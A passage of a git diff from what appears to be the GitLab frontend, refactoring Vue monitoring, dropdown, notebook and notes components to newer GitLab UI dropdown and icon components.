<span class="text-center d-block">{{ $options.translations.selectMilestone }}</span>
- </gl-new-dropdown-header>
+ </gl-dropdown-section-header>
- <gl-new-dropdown-divider />
+ <gl-dropdown-divider />
<gl-search-box-by-type
+ ref="searchBox"
v-model.trim="searchQuery"
- class="m-2"
+ class="gl-m-3"
:placeholder="this.$options.translations.searchMilestones"
- @input="searchMilestones"
+ @input="onSearchBoxInput"
+ @keydown.enter.prevent="onSearchBoxEnter"
/>
- <gl-new-dropdown-item @click="onMilestoneClicked(null)">
+ <gl-dropdown-item @click="onMilestoneClicked(null)">
<span :class="{ 'pl-4': true, 'selected-item': selectedMilestones.length === 0 }">
{{ $options.translations.noMilestone }}
</span>
- </gl-new-dropdown-item>
+ </gl-dropdown-item>
- <gl-new-dropdown-divider />
+ <gl-dropdown-divider />
<template v-if="isLoading">
<gl-loading-icon />
- <gl-new-dropdown-divider />
+ <gl-dropdown-divider />
</template>
<template v-else-if="noResults">
<div class="dropdown-item-space">
<span ref="noResults" class="pl-4">{{ $options.translations.noResultsLabel }}</span>
</div>
- <gl-new-dropdown-divider />
+ <gl-dropdown-divider />
</template>
<template v-else-if="dropdownItems.length">
- <gl-new-dropdown-item
+ <gl-dropdown-item
v-for="item in dropdownItems"
:key="item"
role="milestone option"
@@ -217,12 +239,12 @@ export default {
<span :class="{ 'pl-4': true, 'selected-item': isSelectedMilestone(item) }">
{{ item }}
</span>
- </gl-new-dropdown-item>
- <gl-new-dropdown-divider />
+ </gl-dropdown-item>
+ <gl-dropdown-divider />
</template>
- <gl-new-dropdown-item v-for="(item, idx) in extraLinks" :key="idx" :href="item.url">
+ <gl-dropdown-item v-for="(item, idx) in extraLinks" :key="idx" :href="item.url">
<span class="pl-4">{{ item.text }}</span>
- </gl-new-dropdown-item>
- </gl-new-dropdown>
+ </gl-dropdown-item>
+ </gl-dropdown>
</template>
diff --git a/app/assets/javascripts/monitoring/components/alert_widget.vue b/app/assets/javascripts/monitoring/components/alert_widget.vue
index 909ae2980d2..8f9c181258f 100644
--- a/app/assets/javascripts/monitoring/components/alert_widget.vue
+++ b/app/assets/javascripts/monitoring/components/alert_widget.vue
@@ -236,7 +236,7 @@ export default {
>
<gl-badge :variant="isFiring ? 'danger' : 'neutral'" class="d-flex-center text-truncate">
<gl-icon name="warning" :size="16" class="flex-shrink-0" />
- <span class="text-truncate gl-pl-1-deprecated-no-really-do-not-use-me">
+ <span class="text-truncate gl-pl-2">
<gl-sprintf
:message="
hasMultipleAlerts ? multipleAlertsSummary.message : singleAlertSummary.message
diff --git a/app/assets/javascripts/monitoring/components/alert_widget_form.vue b/app/assets/javascripts/monitoring/components/alert_widget_form.vue
index 5fa0da53a04..132df9c9516 100644
--- a/app/assets/javascripts/monitoring/components/alert_widget_form.vue
+++ b/app/assets/javascripts/monitoring/components/alert_widget_form.vue
@@ -7,16 +7,16 @@ import {
GlButtonGroup,
GlFormGroup,
GlFormInput,
- GlNewDropdown as GlDropdown,
- GlNewDropdownItem as GlDropdownItem,
+ GlDropdown,
+ GlDropdownItem,
GlModal,
GlTooltipDirective,
+ GlIcon,
} from '@gitlab/ui';
import { __, s__ } from '~/locale';
import Translate from '~/vue_shared/translate';
import TrackEventDirective from '~/vue_shared/directives/track_event';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-import Icon from '~/vue_shared/components/icon.vue';
import { alertsValidator, queriesValidator } from '../validators';
import { OPERATORS } from '../constants';
@@ -44,7 +44,7 @@ export default {
GlDropdownItem,
GlModal,
GlLink,
- Icon,
+ GlIcon,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -242,7 +242,7 @@ export default {
<template #description>
<div class="d-flex align-items-center">
{{ __('Single or combined queries') }}
- <icon
+ <gl-icon
v-gl-tooltip="$options.alertQueryText.descriptionTooltip"
name="question"
class="gl-ml-2"
diff --git a/app/assets/javascripts/monitoring/components/charts/empty_chart.vue b/app/assets/javascripts/monitoring/components/charts/empty_chart.vue
index ad176637538..446ca8e5090 100644
--- a/app/assets/javascripts/monitoring/components/charts/empty_chart.vue
+++ b/app/assets/javascripts/monitoring/components/charts/empty_chart.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import chartEmptyStateIllustration from '@gitlab/svgs/dist/illustrations/chart-empty-state.svg';
import { chartHeight } from '../../constants';
diff --git a/app/assets/javascripts/monitoring/components/charts/time_series.vue b/app/assets/javascripts/monitoring/components/charts/time_series.vue
index 054111c203e..6bae3fdcc2e 100644
--- a/app/assets/javascripts/monitoring/components/charts/time_series.vue
+++ b/app/assets/javascripts/monitoring/components/charts/time_series.vue
@@ -1,10 +1,9 @@
<script>
import { isEmpty, omit, throttle } from 'lodash';
-import { GlLink, GlTooltip, GlResizeObserverDirective } from '@gitlab/ui';
+import { GlLink, GlTooltip, GlResizeObserverDirective, GlIcon } from '@gitlab/ui';
import { GlAreaChart, GlLineChart, GlChartSeriesLabel } from '@gitlab/ui/dist/charts';
import { s__ } from '~/locale';
import { getSvgIconPathContent } from '~/lib/utils/icon_utils';
-import Icon from '~/vue_shared/components/icon.vue';
import { panelTypes, chartHeight, lineTypes, lineWidths, legendLayoutTypes } from '../../constants';
import { getYAxisOptions, getTimeAxisOptions, getChartGrid, getTooltipFormatter } from './options';
import { annotationsYAxis, generateAnnotationsSeries } from './annotations';
@@ -27,7 +26,7 @@ export default {
GlTooltip,
GlChartSeriesLabel,
GlLink,
- Icon,
+ GlIcon,
},
directives: {
GlResizeObserverDirective,
@@ -407,7 +406,7 @@ export default {
{{ __('Deployed') }}
</template>
<div slot="tooltipContent" class="d-flex align-items-center">
- <icon name="commit" class="mr-2" />
+ <gl-icon name="commit" class="mr-2" />
<gl-link :href="tooltip.commitUrl">{{ tooltip.sha }}</gl-link>
</div>
</template>
diff --git a/app/assets/javascripts/monitoring/components/dashboard.vue b/app/assets/javascripts/monitoring/components/dashboard.vue
index 24aa7b3f504..cbfacd73b5b 100644
--- a/app/assets/javascripts/monitoring/components/dashboard.vue
+++ b/app/assets/javascripts/monitoring/components/dashboard.vue
@@ -2,7 +2,7 @@
import { mapActions, mapState, mapGetters } from 'vuex';
import VueDraggable from 'vuedraggable';
import Mousetrap from 'mousetrap';
-import { GlButton, GlModalDirective, GlTooltipDirective } from '@gitlab/ui';
+import { GlButton, GlModalDirective, GlTooltipDirective, GlIcon } from '@gitlab/ui';
import DashboardHeader from './dashboard_header.vue';
import DashboardPanel from './dashboard_panel.vue';
import { s__ } from '~/locale';
@@ -10,7 +10,6 @@ import { deprecatedCreateFlash as createFlash } from '~/flash';
import { ESC_KEY } from '~/lib/utils/keys';
import { mergeUrlParams, updateHistory } from '~/lib/utils/url_utility';
import invalidUrl from '~/lib/utils/invalid_url';
-import Icon from '~/vue_shared/components/icon.vue';
import GraphGroup from './graph_group.vue';
import EmptyState from './empty_state.vue';
@@ -33,7 +32,7 @@ export default {
VueDraggable,
DashboardHeader,
DashboardPanel,
- Icon,
+ GlIcon,
GlButton,
GraphGroup,
EmptyState,
@@ -473,7 +472,7 @@ export default {
@click="removePanel(groupData.key, groupData.panels, graphIndex)"
>
<a class="mx-2 p-2 draggable-remove-link" :aria-label="__('Remove')">
- <icon name="close" />
+ <gl-icon name="close" />
</a>
</div>
diff --git a/app/assets/javascripts/monitoring/components/dashboard_actions_menu.vue b/app/assets/javascripts/monitoring/components/dashboard_actions_menu.vue
index 68afa2ace01..070277fe2dc 100644
--- a/app/assets/javascripts/monitoring/components/dashboard_actions_menu.vue
+++ b/app/assets/javascripts/monitoring/components/dashboard_actions_menu.vue
@@ -2,9 +2,9 @@
import { mapState, mapGetters, mapActions } from 'vuex';
import {
GlDeprecatedButton,
- GlNewDropdown,
- GlNewDropdownDivider,
- GlNewDropdownItem,
+ GlDropdown,
+ GlDropdownDivider,
+ GlDropdownItem,
GlModal,
GlIcon,
GlModalDirective,
@@ -23,9 +23,9 @@ import { getAddMetricTrackingOptions } from '../utils';
export default {
components: {
GlDeprecatedButton,
- GlNewDropdown,
- GlNewDropdownDivider,
- GlNewDropdownItem,
+ GlDropdown,
+ GlDropdownDivider,
+ GlDropdownItem,
GlModal,
GlIcon,
DuplicateDashboardModal,
@@ -143,7 +143,7 @@ export default {
as part of https://gitlab.com/gitlab-org/gitlab-ui/-/issues/936
The variant will create a dropdown with an icon, no text and no caret
-->
- <gl-new-dropdown
+ <gl-dropdown
v-gl-tooltip
data-testid="actions-menu"
data-qa-selector="actions_menu_dropdown"
@@ -157,13 +157,13 @@ export default {
</template>
<template v-if="addingMetricsAvailable">
- <gl-new-dropdown-item
+ <gl-dropdown-item
v-gl-modal="$options.modalIds.addMetric"
data-qa-selector="add_metric_button"
data-testid="add-metric-item"
>
{{ $options.i18n.addMetric }}
- </gl-new-dropdown-item>
+ </gl-dropdown-item>
<gl-modal
ref="addMetricModal"
:modal-id="$options.modalIds.addMetric"
@@ -194,20 +194,20 @@ export default {
</gl-modal>
</template>
- <gl-new-dropdown-item
+ <gl-dropdown-item
v-if="isMenuItemEnabled.addPanel"
data-testid="add-panel-item-enabled"
:to="newPanelPageLocation"
>
{{ $options.i18n.addPanel }}
- </gl-new-dropdown-item>
+ </gl-dropdown-item>
<!--
wrapper for tooltip as button can be `disabled`
https://bootstrap-vue.org/docs/components/tooltip#disabled-elements
-->
<div v-else v-gl-tooltip :title="$options.i18n.addPanelInfo">
- <gl-new-dropdown-item
+ <gl-dropdown-item
:alt="$options.i18n.addPanelInfo"
:to="newPanelPageLocation"
data-testid="add-panel-item-disabled"
@@ -215,24 +215,24 @@ export default {
class="gl-cursor-not-allowed"
>
<span class="gl-text-gray-400">{{ $options.i18n.addPanel }}</span>
- </gl-new-dropdown-item>
+ </gl-dropdown-item>
</div>
- <gl-new-dropdown-item
+ <gl-dropdown-item
v-if="isMenuItemEnabled.editDashboard"
:href="selectedDashboard ? selectedDashboard.project_blob_path : null"
data-qa-selector="edit_dashboard_button_enabled"
data-testid="edit-dashboard-item-enabled"
>
{{ $options.i18n.editDashboard }}
- </gl-new-dropdown-item>
+ </gl-dropdown-item>
<!--
wrapper for tooltip as button can be `disabled`
https://bootstrap-vue.org/docs/components/tooltip#disabled-elements
-->
<div v-else v-gl-tooltip :title="$options.i18n.editDashboardInfo">
- <gl-new-dropdown-item
+ <gl-dropdown-item
:alt="$options.i18n.editDashboardInfo"
:href="selectedDashboard ? selectedDashboard.project_blob_path : null"
data-testid="edit-dashboard-item-disabled"
@@ -240,16 +240,16 @@ export default {
class="gl-cursor-not-allowed"
>
<span class="gl-text-gray-400">{{ $options.i18n.editDashboard }}</span>
- </gl-new-dropdown-item>
+ </gl-dropdown-item>
</div>
<template v-if="isMenuItemShown.duplicateDashboard">
- <gl-new-dropdown-item
+ <gl-dropdown-item
v-gl-modal="$options.modalIds.duplicateDashboard"
data-testid="duplicate-dashboard-item"
>
{{ $options.i18n.duplicateDashboard }}
- </gl-new-dropdown-item>
+ </gl-dropdown-item>
<duplicate-dashboard-modal
:default-branch="defaultBranch"
@@ -259,25 +259,25 @@ export default {
/>
</template>
- <gl-new-dropdown-item
+ <gl-dropdown-item
v-if="selectedDashboard"
data-testid="star-dashboard-item"
:disabled="isUpdatingStarredValue"
@click="toggleStarredValue()"
>
{{ selectedDashboard.starred ? $options.i18n.unstarDashboard : $options.i18n.starDashboard }}
- </gl-new-dropdown-item>
+ </gl-dropdown-item>
- <gl-new-dropdown-divider />
+ <gl-dropdown-divider />
- <gl-new-dropdown-item
+ <gl-dropdown-item
v-gl-modal="$options.modalIds.createDashboard"
data-testid="create-dashboard-item"
:disabled="!isMenuItemEnabled.createDashboard"
:class="{ 'monitoring-actions-item-disabled': !isMenuItemEnabled.createDashboard }"
>
{{ $options.i18n.createDashboard }}
- </gl-new-dropdown-item>
+ </gl-dropdown-item>
<template v-if="isMenuItemEnabled.createDashboard">
<create-dashboard-modal
@@ -287,5 +287,5 @@ export default {
:project-path="projectPath"
/>
</template>
- </gl-new-dropdown>
+ </gl-dropdown>
</template>
diff --git a/app/assets/javascripts/monitoring/components/dashboard_header.vue b/app/assets/javascripts/monitoring/components/dashboard_header.vue
index 6a7bf81c643..e468728a954 100644
--- a/app/assets/javascripts/monitoring/components/dashboard_header.vue
+++ b/app/assets/javascripts/monitoring/components/dashboard_header.vue
@@ -3,17 +3,17 @@ import { debounce } from 'lodash';
import { mapActions, mapState, mapGetters } from 'vuex';
import {
GlButton,
- GlNewDropdown,
+ GlDropdown,
GlLoadingIcon,
- GlNewDropdownItem,
- GlNewDropdownHeader,
+ GlDropdownItem,
+ GlDropdownSectionHeader,
GlSearchBoxByType,
GlModalDirective,
GlTooltipDirective,
+ GlIcon,
} from '@gitlab/ui';
import { mergeUrlParams, redirectTo } from '~/lib/utils/url_utility';
import invalidUrl from '~/lib/utils/invalid_url';
-import Icon from '~/vue_shared/components/icon.vue';
import DateTimePicker from '~/vue_shared/components/date_time_picker/date_time_picker.vue';
import DashboardsDropdown from './dashboards_dropdown.vue';
@@ -26,12 +26,12 @@ import { timezones } from '../format_date';
export default {
components: {
- Icon,
+ GlIcon,
GlButton,
- GlNewDropdown,
+ GlDropdown,
GlLoadingIcon,
- GlNewDropdownItem,
- GlNewDropdownHeader,
+ GlDropdownItem,
+ GlDropdownSectionHeader,
GlSearchBoxByType,
@@ -181,7 +181,7 @@ export default {
<span aria-hidden="true" class="gl-pl-3 border-left gl-mb-3 d-none d-sm-block"></span>
<div class="mb-2 pr-2 d-flex d-sm-block">
- <gl-new-dropdown
+ <gl-dropdown
id="monitor-environments-dropdown"
ref="monitorEnvironmentsDropdown"
class="flex-grow-1"
@@ -191,12 +191,12 @@ export default {
:text="environmentDropdownText"
>
<div class="d-flex flex-column overflow-hidden">
- <gl-new-dropdown-header>{{ __('Environment') }}</gl-new-dropdown-header>
- <gl-search-box-by-type class="m-2" @input="debouncedEnvironmentsSearch" />
+ <gl-dropdown-section-header>{{ __('Environment') }}</gl-dropdown-section-header>
+ <gl-search-box-by-type class="gl-m-3" @input="debouncedEnvironmentsSearch" />
<gl-loading-icon v-if="environmentsLoading" :inline="true" />
<div v-else class="flex-fill overflow-auto">
- <gl-new-dropdown-item
+ <gl-dropdown-item
v-for="environment in filteredEnvironments"
:key="environment.id"
:is-check-item="true"
@@ -204,7 +204,7 @@ export default {
:href="getEnvironmentPath(environment.id)"
>
{{ environment.name }}
- </gl-new-dropdown-item>
+ </gl-dropdown-item>
</div>
<div
v-show="shouldShowEnvironmentsDropdownNoMatchedMsg"
@@ -214,7 +214,7 @@ export default {
{{ __('No matching results') }}
</div>
</div>
- </gl-new-dropdown>
+ </gl-dropdown>
</div>
<div class="mb-2 pr-2 d-flex d-sm-block">
@@ -260,7 +260,7 @@ export default {
target="_blank"
rel="noopener noreferrer"
>
- {{ __('View full dashboard') }} <icon name="external-link" />
+ {{ __('View full dashboard') }} <gl-icon name="external-link" />
</gl-button>
</div>
diff --git a/app/assets/javascripts/monitoring/components/dashboard_panel.vue b/app/assets/javascripts/monitoring/components/dashboard_panel.vue
index 278858d3a94..18310f7c71e 100644
--- a/app/assets/javascripts/monitoring/components/dashboard_panel.vue
+++ b/app/assets/javascripts/monitoring/components/dashboard_panel.vue
@@ -6,9 +6,9 @@ import {
GlIcon,
GlLink,
GlLoadingIcon,
- GlNewDropdown as GlDropdown,
- GlNewDropdownItem as GlDropdownItem,
- GlNewDropdownDivider as GlDropdownDivider,
+ GlDropdown,
+ GlDropdownItem,
+ GlDropdownDivider,
GlModal,
GlModalDirective,
GlSprintf,
diff --git a/app/assets/javascripts/monitoring/components/dashboards_dropdown.vue b/app/assets/javascripts/monitoring/components/dashboards_dropdown.vue
index aed27b5ea51..932efeaaf0e 100644
--- a/app/assets/javascripts/monitoring/components/dashboards_dropdown.vue
+++ b/app/assets/javascripts/monitoring/components/dashboards_dropdown.vue
@@ -2,10 +2,10 @@
import { mapState, mapGetters } from 'vuex';
import {
GlIcon,
- GlNewDropdown,
- GlNewDropdownItem,
- GlNewDropdownHeader,
- GlNewDropdownDivider,
+ GlDropdown,
+ GlDropdownItem,
+ GlDropdownSectionHeader,
+ GlDropdownDivider,
GlSearchBoxByType,
GlModalDirective,
} from '@gitlab/ui';
@@ -17,10 +17,10 @@ const events = {
export default {
components: {
GlIcon,
- GlNewDropdown,
- GlNewDropdownItem,
- GlNewDropdownHeader,
- GlNewDropdownDivider,
+ GlDropdown,
+ GlDropdownItem,
+ GlDropdownSectionHeader,
+ GlDropdownDivider,
GlSearchBoxByType,
},
directives: {
@@ -73,21 +73,21 @@ export default {
};
</script>
<template>
- <gl-new-dropdown
+ <gl-dropdown
toggle-class="dropdown-menu-toggle"
menu-class="monitor-dashboard-dropdown-menu"
:text="selectedDashboardText"
>
<div class="d-flex flex-column overflow-hidden">
- <gl-new-dropdown-header>{{ __('Dashboard') }}</gl-new-dropdown-header>
+ <gl-dropdown-section-header>{{ __('Dashboard') }}</gl-dropdown-section-header>
<gl-search-box-by-type
ref="monitorDashboardsDropdownSearch"
v-model="searchTerm"
- class="m-2"
+ class="gl-m-3"
/>
<div class="flex-fill overflow-auto">
- <gl-new-dropdown-item
+ <gl-dropdown-item
v-for="dashboard in starredDashboards"
:key="dashboard.path"
:is-check-item="true"
@@ -95,28 +95,28 @@ export default {
@click="selectDashboard(dashboard)"
>
<div class="gl-display-flex">
- <div class="gl-flex-grow-1 gl-min-w-0">
- <div class="gl-word-break-all">
- {{ dashboardDisplayName(dashboard) }}
- </div>
- </div>
- <gl-icon class="text-muted gl-flex-shrink-0" name="star" />
+ <span class="gl-flex-grow-1 gl-min-w-0 gl-overflow-hidden gl-overflow-wrap-break">
+ {{ dashboardDisplayName(dashboard) }}
+ </span>
+ <gl-icon class="text-muted gl-flex-shrink-0 gl-ml-3 gl-align-self-center" name="star" />
</div>
- </gl-new-dropdown-item>
- <gl-new-dropdown-divider
+ </gl-dropdown-item>
+ <gl-dropdown-divider
v-if="starredDashboards.length && nonStarredDashboards.length"
ref="starredListDivider"
/>
- <gl-new-dropdown-item
+ <gl-dropdown-item
v-for="dashboard in nonStarredDashboards"
:key="dashboard.path"
:is-check-item="true"
:is-checked="dashboard.path === selectedDashboardPath"
@click="selectDashboard(dashboard)"
>
- {{ dashboardDisplayName(dashboard) }}
- </gl-new-dropdown-item>
+ <span class="gl-overflow-hidden gl-overflow-wrap-break">
+ {{ dashboardDisplayName(dashboard) }}
+ </span>
+ </gl-dropdown-item>
</div>
<div
@@ -127,5 +127,5 @@ export default {
{{ __('No matching results') }}
</div>
</div>
- </gl-new-dropdown>
+ </gl-dropdown>
</template>
diff --git a/app/assets/javascripts/monitoring/components/embeds/embed_group.vue b/app/assets/javascripts/monitoring/components/embeds/embed_group.vue
index b60c87fee82..f07483c34b8 100644
--- a/app/assets/javascripts/monitoring/components/embeds/embed_group.vue
+++ b/app/assets/javascripts/monitoring/components/embeds/embed_group.vue
@@ -1,14 +1,14 @@
<script>
import { mapState, mapActions, mapGetters } from 'vuex';
import sum from 'lodash/sum';
-import { GlDeprecatedButton, GlCard, GlIcon } from '@gitlab/ui';
+import { GlButton, GlCard, GlIcon } from '@gitlab/ui';
import { n__ } from '~/locale';
import { monitoringDashboard } from '~/monitoring/stores';
import MetricEmbed from './metric_embed.vue';
export default {
components: {
- GlDeprecatedButton,
+ GlButton,
GlCard,
GlIcon,
MetricEmbed,
@@ -78,15 +78,16 @@ export default {
:body-class="bodyClass"
>
<template #header>
- <gl-deprecated-button
- class="collapsible-card-btn d-flex text-decoration-none"
+ <gl-button
+ class="collapsible-card-btn gl-display-flex gl-text-decoration-none gl-reset-color! gl-hover-text-blue-800! gl-shadow-none!"
:aria-label="buttonLabel"
variant="link"
+ category="tertiary"
@click="toggleCollapsed"
>
<gl-icon class="mr-1" :name="arrowIconName" />
{{ buttonLabel }}
- </gl-deprecated-button>
+ </gl-button>
</template>
<div class="d-flex flex-wrap">
<metric-embed
diff --git a/app/assets/javascripts/monitoring/components/group_empty_state.vue b/app/assets/javascripts/monitoring/components/group_empty_state.vue
index 9cf492dd537..499823fae3f 100644
--- a/app/assets/javascripts/monitoring/components/group_empty_state.vue
+++ b/app/assets/javascripts/monitoring/components/group_empty_state.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { GlEmptyState } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
import { metricStates } from '../constants';
diff --git a/app/assets/javascripts/monitoring/components/refresh_button.vue b/app/assets/javascripts/monitoring/components/refresh_button.vue
index 0e9605450ed..e0d9f92440b 100644
--- a/app/assets/javascripts/monitoring/components/refresh_button.vue
+++ b/app/assets/javascripts/monitoring/components/refresh_button.vue
@@ -4,9 +4,9 @@ import { mapActions } from 'vuex';
import {
GlButtonGroup,
GlButton,
- GlNewDropdown,
- GlNewDropdownItem,
- GlNewDropdownDivider,
+ GlDropdown,
+ GlDropdownItem,
+ GlDropdownDivider,
GlTooltipDirective,
} from '@gitlab/ui';
import { n__, __ } from '~/locale';
@@ -48,9 +48,9 @@ export default {
components: {
GlButtonGroup,
GlButton,
- GlNewDropdown,
- GlNewDropdownItem,
- GlNewDropdownDivider,
+ GlDropdown,
+ GlDropdownItem,
+ GlDropdownDivider,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -152,27 +152,27 @@ export default {
icon="retry"
@click="refresh"
/>
- <gl-new-dropdown
+ <gl-dropdown
v-if="!disableMetricDashboardRefreshRate"
v-gl-tooltip
:title="s__('Metrics|Set refresh rate')"
:text="dropdownText"
>
- <gl-new-dropdown-item
+ <gl-dropdown-item
:is-check-item="true"
:is-checked="refreshInterval === null"
@click="removeRefreshInterval()"
- >{{ __('Off') }}</gl-new-dropdown-item
+ >{{ __('Off') }}</gl-dropdown-item
>
- <gl-new-dropdown-divider />
- <gl-new-dropdown-item
+ <gl-dropdown-divider />
+ <gl-dropdown-item
v-for="(option, i) in $options.refreshIntervals"
:key="i"
:is-check-item="true"
:is-checked="isChecked(option)"
@click="setRefreshInterval(option)"
- >{{ option.label }}</gl-new-dropdown-item
+ >{{ option.label }}</gl-dropdown-item
>
- </gl-new-dropdown>
+ </gl-dropdown>
</gl-button-group>
</template>
diff --git a/app/assets/javascripts/monitoring/components/variables_section.vue b/app/assets/javascripts/monitoring/components/variables_section.vue
index 25d900b07ad..7c4fb135ec8 100644
--- a/app/assets/javascripts/monitoring/components/variables_section.vue
+++ b/app/assets/javascripts/monitoring/components/variables_section.vue
@@ -37,7 +37,11 @@ export default {
};
</script>
<template>
- <div ref="variablesSection" class="d-sm-flex flex-sm-wrap pt-2 pr-1 pb-0 pl-2 variables-section">
+ <div
+ ref="variablesSection"
+ class="d-sm-flex flex-sm-wrap pt-2 pr-1 pb-0 pl-2 variables-section"
+ data-qa-selector="variables_content"
+ >
<div v-for="variable in variables" :key="variable.name" class="mb-1 pr-2 d-flex d-sm-block">
<component
:is="variableField(variable.type)"
@@ -46,6 +50,7 @@ export default {
:value="variable.value"
:name="variable.name"
:options="variable.options"
+ data-qa-selector="variable_item"
@input="refreshDashboard(variable, $event)"
/>
</div>
diff --git a/app/assets/javascripts/monitoring/csv_export.js b/app/assets/javascripts/monitoring/csv_export.js
index 734e8dc07a7..20cfa23e9b4 100644
--- a/app/assets/javascripts/monitoring/csv_export.js
+++ b/app/assets/javascripts/monitoring/csv_export.js
@@ -125,7 +125,6 @@ const csvData = (metricHeaders, metricValues) => {
* @param {Object} graphData - Panel contents
* @returns {String}
*/
-// eslint-disable-next-line import/prefer-default-export
export const graphDataToCsv = graphData => {
const delimiter = ',';
const br = '\r\n';
diff --git a/app/assets/javascripts/monitoring/stores/embed_group/actions.js b/app/assets/javascripts/monitoring/stores/embed_group/actions.js
index 4a7572bdbd9..ca0d2e5ba35 100644
--- a/app/assets/javascripts/monitoring/stores/embed_group/actions.js
+++ b/app/assets/javascripts/monitoring/stores/embed_group/actions.js
@@ -1,4 +1,3 @@
import * as types from './mutation_types';
-// eslint-disable-next-line import/prefer-default-export
export const addModule = ({ commit }, data) => commit(types.ADD_MODULE, data);
diff --git a/app/assets/javascripts/monitoring/stores/embed_group/getters.js b/app/assets/javascripts/monitoring/stores/embed_group/getters.js
index 096d8d03096..47db787dea5 100644
--- a/app/assets/javascripts/monitoring/stores/embed_group/getters.js
+++ b/app/assets/javascripts/monitoring/stores/embed_group/getters.js
@@ -1,3 +1,2 @@
-// eslint-disable-next-line import/prefer-default-export
export const metricsWithData = (state, getters, rootState, rootGetters) =>
state.modules.map(module => rootGetters[`${module}/metricsWithData`]().length);
diff --git a/app/assets/javascripts/monitoring/stores/embed_group/mutation_types.js b/app/assets/javascripts/monitoring/stores/embed_group/mutation_types.js
index 7fd3f0f8647..288e6db4151 100644
--- a/app/assets/javascripts/monitoring/stores/embed_group/mutation_types.js
+++ b/app/assets/javascripts/monitoring/stores/embed_group/mutation_types.js
@@ -1,2 +1 @@
-// eslint-disable-next-line import/prefer-default-export
export const ADD_MODULE = 'ADD_MODULE';
diff --git a/app/assets/javascripts/mr_popover/components/mr_popover.vue b/app/assets/javascripts/mr_popover/components/mr_popover.vue
index e6bf7a6ec02..bf810978648 100644
--- a/app/assets/javascripts/mr_popover/components/mr_popover.vue
+++ b/app/assets/javascripts/mr_popover/components/mr_popover.vue
@@ -1,6 +1,6 @@
<script>
/* eslint-disable @gitlab/vue-require-i18n-strings */
-import { GlPopover, GlSkeletonLoading } from '@gitlab/ui';
+import { GlPopover, GlDeprecatedSkeletonLoading as GlSkeletonLoading } from '@gitlab/ui';
import CiIcon from '../../vue_shared/components/ci_icon.vue';
import timeagoMixin from '../../vue_shared/mixins/timeago';
import query from '../queries/merge_request.query.graphql';
diff --git a/app/assets/javascripts/namespace_select.js b/app/assets/javascripts/namespace_select.js
index b96a111cf13..8e123c14814 100644
--- a/app/assets/javascripts/namespace_select.js
+++ b/app/assets/javascripts/namespace_select.js
@@ -1,16 +1,16 @@
import $ from 'jquery';
-import '~/gl_dropdown';
import Api from './api';
import { mergeUrlParams } from './lib/utils/url_utility';
import { parseBoolean } from '~/lib/utils/common_utils';
import { __ } from './locale';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default class NamespaceSelect {
constructor(opts) {
const isFilter = parseBoolean(opts.dropdown.dataset.isFilter);
const fieldName = opts.dropdown.dataset.fieldName || 'namespace_id';
- $(opts.dropdown).glDropdown({
+ initDeprecatedJQueryDropdown($(opts.dropdown), {
filterable: true,
selectable: true,
filterRemote: true,
diff --git a/app/assets/javascripts/notebook/cells/markdown.vue b/app/assets/javascripts/notebook/cells/markdown.vue
index fa1afdcd16f..3bbaa44ec42 100644
--- a/app/assets/javascripts/notebook/cells/markdown.vue
+++ b/app/assets/javascripts/notebook/cells/markdown.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import marked from 'marked';
import { sanitize } from 'dompurify';
import katex from 'katex';
diff --git a/app/assets/javascripts/notebook/cells/output/html.vue b/app/assets/javascripts/notebook/cells/output/html.vue
index b36761993ea..856c8f31796 100644
--- a/app/assets/javascripts/notebook/cells/output/html.vue
+++ b/app/assets/javascripts/notebook/cells/output/html.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { sanitize } from 'dompurify';
import Prompt from '../prompt.vue';
diff --git a/app/assets/javascripts/notes.js b/app/assets/javascripts/notes.js
index 3940b4b4724..340fbe4d887 100644
--- a/app/assets/javascripts/notes.js
+++ b/app/assets/javascripts/notes.js
@@ -11,13 +11,12 @@ old_notes_spec.js is the spec for the legacy, jQuery notes application. It has n
*/
import $ from 'jquery';
+import '~/lib/utils/jquery_at_who';
import { escape, uniqueId } from 'lodash';
import Cookies from 'js-cookie';
import Autosize from 'autosize';
-import 'jquery.caret'; // required by at.js
-import '@gitlab/at.js';
import Vue from 'vue';
-import { GlSkeletonLoading } from '@gitlab/ui';
+import { GlDeprecatedSkeletonLoading as GlSkeletonLoading } from '@gitlab/ui';
import AjaxCache from '~/lib/utils/ajax_cache';
import syntaxHighlight from '~/syntax_highlight';
import axios from './lib/utils/axios_utils';
diff --git a/app/assets/javascripts/notes/components/comment_form.vue b/app/assets/javascripts/notes/components/comment_form.vue
index 7cfff98e9f7..54fcf41ca50 100644
--- a/app/assets/javascripts/notes/components/comment_form.vue
+++ b/app/assets/javascripts/notes/components/comment_form.vue
@@ -3,7 +3,7 @@ import $ from 'jquery';
import { mapActions, mapGetters, mapState } from 'vuex';
import { isEmpty } from 'lodash';
import Autosize from 'autosize';
-import { GlAlert, GlIntersperse, GlLink, GlSprintf } from '@gitlab/ui';
+import { GlAlert, GlIntersperse, GlLink, GlSprintf, GlButton } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
import { deprecatedCreateFlash as Flash } from '../../flash';
@@ -20,7 +20,6 @@ import eventHub from '../event_hub';
import NoteableWarning from '../../vue_shared/components/notes/noteable_warning.vue';
import markdownField from '../../vue_shared/components/markdown/field.vue';
import userAvatarLink from '../../vue_shared/components/user_avatar/user_avatar_link.vue';
-import loadingButton from '../../vue_shared/components/loading_button.vue';
import noteSignedOutWidget from './note_signed_out_widget.vue';
import discussionLockedWidget from './discussion_locked_widget.vue';
import issuableStateMixin from '../mixins/issuable_state';
@@ -33,7 +32,7 @@ export default {
discussionLockedWidget,
markdownField,
userAvatarLink,
- loadingButton,
+ GlButton,
TimelineEntryItem,
GlAlert,
GlIntersperse,
@@ -102,6 +101,9 @@ export default {
noteable: this.noteableDisplayName,
});
},
+ buttonVariant() {
+ return this.isOpen ? 'warning' : 'default';
+ },
actionButtonClassNames() {
return {
'btn-reopen': !this.isOpen,
